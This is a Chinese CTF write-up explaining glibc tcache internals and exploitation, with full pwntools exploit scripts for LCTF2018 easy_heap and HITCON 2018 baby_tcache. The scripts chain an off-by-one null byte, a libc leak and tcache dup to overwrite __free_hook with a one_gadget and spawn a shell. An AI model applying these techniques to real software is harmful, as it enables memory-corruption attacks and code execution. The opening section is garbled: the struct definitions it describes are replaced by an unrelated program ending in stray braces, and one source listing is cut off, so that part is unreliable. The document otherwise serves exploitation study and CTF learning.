libc2.26 之后的 Tcache 机制

1. Tcache 概述

tcache是libc2.26之后引进的一种新机制，类似于fastbin一样的东西，每条链上最多可以有 7 个 chunk，free的时候当tcache满了才放入fastbin，unsorted bin，malloc的时候优先去tcache找。其相关结构体如下

```
#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);
    long *c=malloc(0x40);
    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    free(b);
    free(c);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} } tcache_perthread_struct;
```

1. tcache相关的就是上面这两个结构体，其中 `tcache_entry` 结构体中的值是一个指向 `tcache_entry` 结构体的指针，是一个单链表结构。

2. `tcache_perthread_struct` 结构体是用来管理tcache链表的。其中的 `count` 是一个字节数组（共64个字节，对应64个tcache链表），其中每一个字节表示的是tcache每一个链表中有多少个元素。 `entries` 是一个指针数组（共64个元素，对应64个tcache链表，因此 tcache bin中最大为0x400字节），每一个指针指向的是对应 `tcache_entry` 结构体的地址。

3. 看了上面的描述，只知道 `tcache_entry` 是一个只有一个字段的结构体，该链表与fastbin链表的异同点在于：

   - tcachebin和fastbin都是通过chunk的fd字段来作为链表的指针
   - tcachebin中的链表指针指向的下一个chunk的 `fd` 字段，fastbin中的链表指针指向的是下一个chunk的 `prev_size` 字段

4. 在 `_int_free` 中，最开始就先检查chunk的size是否落在了tcache的范围内，且对应的tcache未满，将其放入tcache中。

5. 在 `_int_malloc` 中，

   - 如果从fastbin中取出了一个块，那么会把剩余的块放入tcache中直至填满tcache（smallbin中也是一样）
   - 如果进入了unsortedbin，且chunk的size和当前申请的大小精确匹配，那么在tcache未满的情况下会将其放入到tcachebin中

从 Tcache 中获取chunk 的代码：

```
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  //根据索引找到tcache链表的头指针
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  //将chunk取出
```

```
        tcache->entries[tc_idx] = e->next;
        //tcache计数器减一
        --(tcache->counts[tc_idx]);
        return (void *) e;
```

从 Tcache 中获取 chunk 的情形：

- 在调用 `malloc_hook` 之后， `_int_malloc` 之前，如果tcache中有合适的chunk，那么就从tcache中取出：
- 遍历完 `unsorted bin` 后，若tcachebin中有对应大小的chunk，从tcache中取出：
- 遍历 `unsorted bin` 时，大小不匹配的chunk会被放入对应的bins，若达到 `tcache_unsorted_limit` 限制且之前已经存入过chunk则在此时取出（默认无限制）

2.Tcache 例子

以下面的程序为例:

```
#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);
    long *c=malloc(0x40);
    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    free(b);
```

```
    free(c);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
}
```

- 可以看到在执行完之后，只有当 tcache 中填充完7个 cache 后，再释放才会进入其对应的 normal bins，这点和之前版本的 libc 不同。

```
pwndbg> bins
tcachebins
0x20 [  1]: 0x555555756370 ◂— 0x0
0x50 [  1]: 0x555555756390 ◂— 0x0
0x110 [  7]: 0x555555756a40 —▸ 0x555555756930 —▸ 0x555555756820 —▸ 0x555555756710 —▸ 0x555555756600 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555555756250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555756250 /* 'PbuUUU' */
smallbins
empty
largebins
empty
pwndbg>
```

3. Tcache 利用

Tcache的利用主要分为以下几种：

- tcache poisoning
  - 简单来说就是覆盖 tcache entry 结构体中的 next 域，不经过任何伪造 chunk 即可分配到另外地址
- tcache dup
  - 类似于 fastbin 的double free，就是多次释放同一个tcache，形成环状链表
- tcache perthread corruption
  - 控制 `tcache_perthread_struct` 结构体
- tcache house of spirit
  - free 内存后，使得栈上的一块地址进入 tcache 链表，这样再次分配的时候就能把这块地址分配出来

例题1： LCTF2018 PWN easy_heap

简单分析后，该题目是一个常规菜单题目，有malloc、free、puts操作，最多分配10个chunk，实际大小均为256(mallocd的是248但是可以复用后一个chunk的pre_size域)， qword_202050 处有一个数组存储分配的 chunk 和用户自定义的大小，除此之外保护全开：

```
nevv@ubuntu:~/Desktop$ checksec easy_heap
[*] '/home/nevv/Desktop/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

在malloc处存在 NULL 单字节溢出：

```
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  if ( a2 )
  {
    while ( 1 )
    {
      read(0, &a1[v3], 1uLL);
      if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
        break;
      ++v3;
    }
    a1[v3] = 0;
    a1[a2] = 0;
  }
  else
  {
    *a1 = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}
```

这里我发现网上的很多脚本都是一样的，在解题思路中都没有说明用于 overlapping chunk 的 pre_size 是怎么设置的，因为我们要是想让其与上一个 chunk 发生 overlapping，必然要构造 pre_size字段，直接构造的话我们在读取内容的时候'\0'会截断而且堆块大小是0x100，因此需要另外想办法构造出 pre_size 字段，这也是解题的关键所在。这里我结合出题人的 思路 给出以下两种办法做参考：

1. tcache在分配完其中的7个堆块后如果再次分配，它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来，如果unsortedbin中有三个及以上符合大小的堆块，当并入tcache时，你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身，题目中恰好设置了堆块为0x100对齐，所以分配出来的堆块内容如果什么都不输入那么它的"\0"终止符不会影响fd指针，在将中间的堆块

重新malloc出来利用nullbyone漏洞修改下个堆块的previnuse位为0，然后填满tcache后free掉下个堆块，那么他就会和前面的堆块合并形成overlap-chunk。

2. 通过 free 操作使得某个要用作 overlapping 的 chunk presize 有我们想要的值，比如填充满 Tcache 后，再次释放空间连续的三个 chunk A B C，会进入 unsorted_bin 并由合并操作，此时最后一个堆块 chunk C 的pre_size 会遗留一个 0x200的值，可以用于后续的 overlapping。

- 获取libc

  下边给出使用了第二种思路的exp，基本思想是一样的 chunk A B C，A为 unsortbin， B为 Tcache 链表首部， C为 allocated 状态， 分配 B 并单字节溢出 C 的 pre_inuse 位，free(C) 后触发 overlapping，再次 malloc，将 A 从合并后的 fake unsort bin 中分配出去，这样 B 的 fd 和 bk 的值就变为了 main_arena + 96，同时 B 还存在于已经分配出去的列表中。这样就能获取到 libc 的地址。

- tcache dup

  然后我们再次 malloc 后，会再次把 chunk B 分配到程序自定义的记录已分配的 chunk 的列表中，这样就获得了两次free B 的机会，然后通过 malloc 两次 chunk B，第一次分配后将其 fd 的位置改为 `__free__hook` 的 got 表地址，第二次分配的时候就获得到了 `__free__hook` 处的空间，此时再进行改写，就是改的 `__free__hook` 的 got 表项，将其改为 one_gadget 即可。

exp:

```
from pwn import *

context.log_level = "debug"

p = process('./easy_heap')

def malloc(size,content):
    p.recvuntil("> ")
    p.sendline('1')
```

```
    p.recvuntil("> ")
    p.sendline(str(size))
    p.recvuntil("> ")
    p.sendline(content)


def free(index):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(index))


def puts(index):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(index))


for x in range(10):
    malloc(0x20,"")

for x in range(3,10):
    free(x)

for x in range(3):
    free(x)

for x in range(10):
    malloc(0x20,"")


for x in range(6):
    free(x)

free(8) # tcache
free(7) # unsort bin
```

```
malloc(248,'')

free(6) # tcache
free(9) # overlapping


for x in range(8):
    malloc(0x20,'')


puts(0)

libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3EBC40
free_hook = libc_base + 0x3ed8e8
print hex(libc_base)
print hex(libc_base + 96 + 0x3EBC40)
one_shot = libc_base + 0x4f322

malloc(0x20,'')
free(5) # free to avoid full

free(0)
free(9)
malloc(0x20,p64(free_hook))
malloc(0x20,'')
malloc(0x20,p64(one_shot))
free(5)
# gdb.attach(p)


# https://libc.blukat.me/
p.interactive()
```

例题2：HITCON 2018 PWN baby_tcache

这道题目和上一题整体差不多，但是只有新建和删除两个功能，同时使用一个全局变量保存申请的地址和每次申请空间的大小。 新建函数如下：

```
int new()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (signed int)v0;
    }
    if ( !qword_202060[i] )
      break;
  }
  printf("Size:");
  size = get_input();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88((__int64)v3, size);
  v3[size] = 0;                   // 存在 null off by one 漏洞
  qword_202060[i] = v3;
  v0 = qword_2020C0;
  qword_2020C0[i] = size;
  return (signed int)v0;
}
```

这道题目和之前最大的不同之处是我们要考虑怎么把 libc 的地址 leak 出来，考虑以下思路:

- 申请三个chunk A、B、C，AC是unsortbin，大小大于0x400，B 是一个tcache大小的chunk。

- add B的时候溢出C的 pre_inuse 位，再次释放C的时候触发前向合并
- 再次申请空间，使得之前B的位置fd和bk存储的是到main_arena的一个偏移
- 申请一个比B稍微大些的chunk，并把其FD覆盖为 `_IO_2_1_stdout_` 结构体所在的位置，稍微大些是为了防止从tcache 中将B取出来使用，后续无法进行 tcache dup和tcache poisoning

分配得到一个指向 `_IO_2_1_stdout_` 的结构体后，我们覆盖掉 `IO_FILE` 结构体 `_IO_write_base` 的低字节,使其在下次 `puts` 时输出我们修改后的 `_IO_write_base` 到 `_IO_write_ptr/_IO_write_end` 的数据

- leak libc后，利用tcache dup，将chunk分配到malloc hook或free hook前，覆盖其为 `one_gadget` 即可get shell

```
from pwn import *

context.log_level = 'debug'



def new(size,data):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Data:')
    p.send(data)


def delete(index):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))


while True:

    try:
```

```
p = process('./baby_tcache')

new(0x500,'a')
new(0x78,'a')
new(0x4f0,'a')
new(0x20,'a') # 防止和 top_chunk发生合并

#unsorted bin
delete(0)

delete(1)
new(0x78,'a')

#overwrite the pre_chunk_in_use and pre_size
#clean pre_size
for i in range(6):
    delete(0)
    new(0x70+8-i,'a'*(0x70+8-i))
    '''
    利用如下代码清理delete后填充的0xda数据，恢复出 pre_size 字段
    printf("Size:");
    size = get_input();
    if ( size > 0x2000 )
      exit(-2);
    v3 = malloc(size);
    if ( !v3 )
      exit(-1);
    printf("Data:");
    sub_B88((__int64)v3, size);
    v3[size] = 0;
    '''

delete(0)
new(0x72,'a'*0x70 + '\x90\x05')

#unsorted bin Merging forward
delete(2)
delete(0)
```

```
        #hijack fd -> _IO_2_1_stdout_
        new(0x500,'a')
        new(0x88,'\x60\xc7')

        #hijack _IO_write_base to leak libc
        new(0x78,'a')
        fake__IO_2_1_stdout_ = p64(0xfbad1800) + p64(0)*3 + "\x00"
        #gdb.attach(p)
        new(0x78,fake__IO_2_1_stdout_)
        libc_base = u64(p.recv(0x30)[8:16]) - 0x3ed8b0
        log.success('libc_base addr : 0x%x'%libc_base)
        free_hook = libc_base + 0x3ed8e8
        one_gadget = libc_base + 0x4f322
        log.success('free_hook addr : 0x%x'%free_hook)
        log.success('one_gadget addr : 0x%x'%one_gadget)

        #double free
        delete(1)
        delete(2)

        #hijack free_hook -> one_gadget
        new(0x88,p64(free_hook))
        new(0x88,'a')
        new(0x88,p64(one_gadget))

        #trigger one_gadget
        delete(0)


        p.interactive()

    except Exception as e:

        p.close()
```

文件结构体更改缘由

- 通过修改 `stdout->_flags` 使得程序流能够流到 `_IO_do_write (f, f->_IO_write_base , f->_IO_write_ptr - f->_IO_write_base)` 这个函数

在ida中可以看到 `_IO_2_1_stdout_` 结构体的偏移为 0x3EC760， `_IO_write_base` 的偏移为 32：

```
.data:00000000003EC760 _IO_2_1_stdout_ db  84h               ; DATA XREF: LOAD:0000000000008D18↑o
.data:00000000003EC760                                       ; .data:00000000003EC6E8↑o ...
.data:00000000003EC761                 db  20h
.data:00000000003EC762                 db 0ADh
.data:00000000003EC763                 db 0FBh
.data:00000000003EC764                 db    0
```

```
pwndbg> x /30gx stdout
0x7f27e520c760 <_IO_2_1_stdout_>:   0x00000000fbad1800  0x00007f27e520c7e3
0x7f27e520c770 <_IO_2_1_stdout_+16>:    0x00007f27e520c7e3  0x00007f27e520c7e3
0x7f27e520c780 <_IO_2_1_stdout_+32>:    0x00007f27e520c7e3(!!!_IO_write_base)   0x00007f27e520c7e3
0x7f27e520c790 <_IO_2_1_stdout_+48>:    0x00007f27e520c7e4  0x00007f27e520c7e3
0x7f27e520c7a0 <_IO_2_1_stdout_+64>:    0x00007f27e520c7e4  0x0000000000000000
0x7f27e520c7b0 <_IO_2_1_stdout_+80>:    0x0000000000000000  0x0000000000000000
0x7f27e520c7c0 <_IO_2_1_stdout_+96>:    0x0000000000000000  0x00007f27e520ba00
0x7f27e520c7d0 <_IO_2_1_stdout_+112>:   0x0000000000000001  0xffffffffffffff00
0x7f27e520c7e0 <_IO_2_1_stdout_+128>:   0x000000000a000000  0x00007f27e520d8c0
0x7f27e520c7f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff  0x0000000000000000
0x7f27e520c800 <_IO_2_1_stdout_+160>:   0x00007f27e520b8c0  0x0000000000000000
0x7f27e520c810 <_IO_2_1_stdout_+176>:   0x0000000000000000  0x0000000000000000
0x7f27e520c820 <_IO_2_1_stdout_+192>:   0x00000000ffffffff  0x0000000000000000
0x7f27e520c830 <_IO_2_1_stdout_+208>:   0x0000000000000000  0x00007f27e52082a0
0x7f27e520c840 <stderr>:    0x00007f27e520c680  0x00007f27e520c760
```

我们将 `_IO_write_base` 的最低字节改为 00，实际上就到了 3EC700 的位置，据此位置8个字节后，存储的unk_3ED8B0 和 libc 基地址有固定的偏移 unk_3ED8B0，因此可以泄露出 libc。

```
.data:00000000003EC700                 db    0
.data:00000000003EC701                 db    0
.data:00000000003EC702                 db    0
```

```
.data:00000000003EC703                db    0
.data:00000000003EC704                db    0
.data:00000000003EC705                db    0
.data:00000000003EC706                db    0
.data:00000000003EC707                db    0
.data:00000000003EC708                dq offset unk_3ED8B0
.data:00000000003EC710                db 0FFh
.data:00000000003EC711                db 0FFh
.data:00000000003EC712                db 0FFh
.data:00000000003EC713                db 0FFh
.data:00000000003EC714                db 0FFh
.data:00000000003EC715                db 0FFh
.data:00000000003EC716                db 0FFh
```

泄露出 libc 后，由于此时存储chunk的数组中有两个元素指向的是同一个空间，使用 tcache dup 和 tcache poisoning，执行修改 free_hook 为 one_gadget，进而 getshell

参考链接

- https://e3pem.github.io/2018/12/04/hitcon/baby_tcache
- https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-makes-heap-exploitation-easy-again
- https://kirin-say.top/2018/10/23/HITCON2018-Tcache/#0x02-BabyTcache